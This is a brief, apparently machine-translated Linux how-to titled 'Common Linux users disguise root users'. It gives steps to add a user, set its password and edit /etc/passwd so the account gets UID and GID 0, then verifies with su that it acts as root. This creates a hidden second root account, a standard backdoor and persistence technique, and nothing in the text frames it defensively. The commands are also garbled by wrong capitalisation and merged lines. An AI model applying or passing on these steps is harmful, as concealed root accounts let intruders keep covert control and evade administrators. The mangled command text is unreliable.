Common Linux users disguise root users

Common Linux users disguise root users
Version 1

System Version: Red Hat EnterpriseLinux *

2 configuration Step 2.1 Add a new user

Add a new user.

Useradd username

2.2 Change User Password

Change the user password.

Passwd username

2.3 modify the passwd configuration file

Modify the passwd file and grant the root information to the username of the new user.

Vi/etc/passwd # copy the content after root to the new user root: x: 0: 0: root:/bin/bashusername: x: 0: 0: root:/bin/bash

2.4 verify disguise

Verify by using the su command. If it is displayed as root, the disguise is successful.

Su-username [root @ hostname ~] #